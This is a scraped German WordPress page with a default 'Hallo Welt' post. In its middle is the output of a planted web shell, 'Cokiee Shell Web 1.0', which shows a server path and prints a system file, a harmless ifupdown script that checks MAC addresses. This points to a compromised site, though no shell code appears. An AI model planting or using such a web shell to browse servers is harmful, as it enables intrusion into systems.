Willkommen bei WordPress. Dies ist dein erster Beitrag. Bearbeite oder lösche ihn und beginne mit dem Schreiben!
Hallo Welt!
von raredesign | Dez 3, 2019 | Allgemein | 0 Kommentare
Cokiee Shell
Current Path : /usr/share/doc/ifupdown/examples/ |
Current File : //usr/share/doc/ifupdown/examples/check-mac-address.sh |
#!/bin/sh # # Checks if the given interface matches the given ethernet MAC. # If it does it exits with 0 (success) status; # if it doesn't then it exists with 1 (error) status. set -e export LANG=C if [ ! "$2" ] ; then echo "Usage: $0 IFACE targetMAC" exit 1 fi iface="$1" targetmac=`echo "$2" | sed -e 'y/ABCDEF/abcdef/'` mac=$(/sbin/ifconfig "$iface" | sed -n -e '/^.*HWaddr \([:[:xdigit:]\-]*\).*/{s//\1/;y/ABCDEF/abcdef/;p;q;}') if [ "$targetmac" = "$mac" ]; then exit 0; else exit 1; fi
Cokiee Shell Web 1.0, Coded By Razor
Neueste Kommentare